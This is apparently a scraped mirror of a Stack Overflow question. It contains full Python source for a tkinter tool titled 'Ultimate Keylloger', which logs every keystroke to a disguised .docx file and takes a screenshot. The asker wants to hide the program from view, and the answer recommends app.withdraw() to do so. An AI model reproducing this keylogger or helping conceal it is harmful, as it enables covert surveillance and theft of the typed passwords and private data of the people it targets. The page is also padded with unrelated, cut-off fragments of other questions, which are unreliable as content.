- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我有一个程序,它运行得很好当我按下“后台运行”按钮时,我需要在后台隐藏我的程序。但我不知道该怎么办。我应该使用哪个库?我该怎么办?
有办法隐藏我的可执行文件吗?所以我只能打开任务管理器才能看到谢谢你的帮助;)
ps:为什么我收到“看起来您的帖子主要是代码;请添加更多详细信息。”
from tkinter import *
from functools import partial
from pynput.keyboard import Listener
import threading
from PIL import ImageGrab
from random import randint
def grab():
c = randint(1,9999)
c = str(c)
ImageGrab.grab().save("Uk" + c +".jpg", "JPEG")
def on_press(key):
keyd=str(key)
keyd=keyd.replace("'", "")
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"_l": "",
"Key.ctrl": "",
"Key.shift": "",
"Key.capsock": "",
"Key.ctrl_l": "",
"Key.backspace": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
for key in translate_keys:
keyd = keyd.replace(key, translate_keys[key])
print(keyd)
with open("Uk.docx", "a") as o:
o.write(keyd)
def start(arg):
def starting(args):
if args is 1:
lVar.set("Starting Listener")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 2:
lVar.set("Starting Listener .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 3:
lVar.set("Starting Listener . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
if args is 4:
lVar.set("Starting Listener . . .")
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
def running():
lbStatus["fg"] = "white"
lVar.set('[+] Listener Running')
lbStatus["bg"] = "green"
def not_original():
lbStatus["fg"] = "white"
lbStatus["bg"] = "blue"
lVar.set("[!] Click Button Start ")
def err_running():
lbStatus["fg"] = "red"
lVar.set('[!] Already Running ')
lbStatus["bg"] = "black"
threading.Timer(1, running).start()
def err_notRunning():
lbStatus["fg"] = "red"
lbStatus["bg"] = "black"
lVar.set("[!] Not Running ")
threading.Timer(1, not_original).start()
def repeat():
threading.Timer(0.5,starting,[1]).start()
threading.Timer(1, starting,[2]).start()
threading.Timer(1.5, starting,[3]).start()
threading.Timer(2, starting,[4]).start()
global thr
if arg == btStart:
if thr is None:
#Start Listener
thr = Listener(on_press=on_press)
threading.Timer(0.1, repeat).start()
threading.Timer(2, repeat).start()
thr.start()
threading.Timer(5, running).start()
threading.Timer(50, grab).start()
else:
print("Ja rodando")
err_running()
if arg == btStop:
if thr is None:
print('Nao está rodando')
err_notRunning()
else:
print("Parando proteção")
threading.Timer(1, not_original).start()
thr.stop()
thr.join()
thr = None
def runInBackground():
pass
thr = None
#Controller
app = Tk()
#Estado
lVar = StringVar()
lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white")
lbStatus.pack(side=BOTTOM, fill=X)
lVar.set("[!] Click Button Start")
#Button Start
btStart = Button(app, text="Start")
btStart.pack(side = TOP, fill=X)
btStart["command"] = partial(start, btStart)
#Button Stop
btStop = Button(app, text="Stop")
btStop.pack(side=TOP, fill=X)
btStop["command"] = partial(start, btStop)
#Button Backg
btBackground = Button(app, text="Run in Background", command=runInBackground)
btBackground.pack(side=TOP, fill=X)
#Window Configs
app.geometry("300x150+800+400")
app.title("Ultimate Keylloger")
app.maxsize(width= 300, height= 150)
app.minsize(width= 300, height= 150)
app.mainloop()
最佳答案
我猜你正在尝试什么,可以使用 withdraw() 来完成tkinter 中的 api。
app.withdraw()
将隐藏您的窗口,然后可以使用 app.deiconify()
关于python - 如何在后台运行Python可执行文件?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56938142/
从 0 开始搭建一套后台管理系统,成本巨大,所以都会选择一套成熟的组件库,基于此,再堆叠业务逻辑。我们公司的组件库基于 Ant Design。Ant Design 包含一套完整的后台解决方案,不仅
在我的 IOS 应用程序中,我有一个标记为 retain 的 NSDate* 属性 当我的应用程序再次激活时,属性值已被释放。 我是否误解了属性和内存管理的工作原理,我该如何防范? 最佳答案 很明显,
我有一个使用 BackgroundWorker 组件的示例 WinForms 应用程序。它工作正常,但是当我点击 Cancel 按钮取消后台线程时,它并没有取消线程。当我点击 Cancel 按钮调用
我目前正在开发一个应用程序,该应用程序在启动时会对服务器执行 ping 操作,该服务器会为每个连接的设备返回一个唯一标识符。设备每 5 秒从服务器检索另一页以获取一组不同的数据。这个唯一的 ID 可以
我正在开发一个应用程序,当它通过主页按钮在后台按下时,计时器应该启动,当应用程序返回前台并且计时器已经过了一定时间时,应该是执行。 我的问题是 当我的应用程序转到背景/前景? 是否有特殊的方法或其他技
我有 map View ,其中几乎没有 MKPointAnnotation。 一切正常,但是, View 的 MKPoiintAnnotation 的“背景”是“不可见的”,因此不是很“可见”。 我想
我在 iOS 中开发广告数据应用程序。我的应用程序广告数据在前台很好。但我想在 ios 后台宣传信标数据。我设置了背景外设设置。和广告数据 advertisingData = [CBAdvertise
如果我有一组操作,我想根据特定条件在后台工作程序中运行,例如,我有 10 个条件 if(a) BackgroundWorker doA = new backgroundworker() if(
我想独立运行一个函数。从我调用的函数中,我想在不等待其他函数结束的情况下返回。 我试过用 threadind,但这会等待,结束。 thread = threading.Thread(target=my
我想在用户在线时立即执行一些任务,即使他在后台也是如此。我正在使用 Reachability 类来检查互联网。但是当我在后台时,这个类没有通知我。我知道有人早些时候问过这个问题,但没有找到任何解决方案
我在后台播放文本转语音时出现间歇性(哎呀!)问题,由 Apple Watch 触发。我已经正确设置了后台模式、AVSession 类别和 WatchKitExtensionRequest 处理程序。
我有一个相当复杂的程序,所以我不会在这里转储整个程序。这是一个简化版本: class Report { private BackgroundWorker worker; public
我有一个任务在 backgroundworker 中运行。单击开始按钮,用户将启动该过程,并获得一个取消按钮来取消处理。 当用户点击取消时,我想显示一个消息框“进程尚未完成,你想继续吗”。 这里我希望
我有一个按以下方式编码的脚本。我想将它作为后台/守护进程运行,但是一旦我启动脚本,如果我关闭它从程序运行的终端窗口终止。我需要做什么来保持程序运行 loop do pid = fork do
我正在制作一个使用 ActivityRecognition API 在后台跟踪用户 Activity 的应用,如果用户在指定时间段(例如 1 小时)内停留在同一个地方,系统就会推送通知告诉用户去散步.
当尝试使用 URLSession 的 dataTaskPublisher 方法发送后台请求时: URLSession(configuration: URLSessionConfiguration.ba
当我编译这段代码时,我得到了他的错误,对象引用设置为null,错误位置在Dowork中,argumenttest.valueone = 8; public partial class Form1 :
有什么方法可以使用最小化或不活动的应用程序吗?我可以打开我的应用程序,然后打开并使用另一个应用程序,然后按一个按钮来激活我的程序吗? 例如,打开我的应用程序,打开 Safari,按下按钮(F1 或任何
我的具体要求是一个在后台运行的应用程序,被通知显示器即将进入休眠状态或者设备已经或即将达到空闲超时 - 然后唤醒并执行一些(简短的)一段代码。 我在这里找到了有关应用程序被置于后台或暂停的通知的引用:
我有一个 LSUIElement 设置为 1 的应用程序。它有一个内置编辑器,因此我希望该应用程序在编辑器打开时出现在 Cmd+Tab 循环中。 -(void)stepIntoForegrou
我是一名优秀的程序员,十分优秀!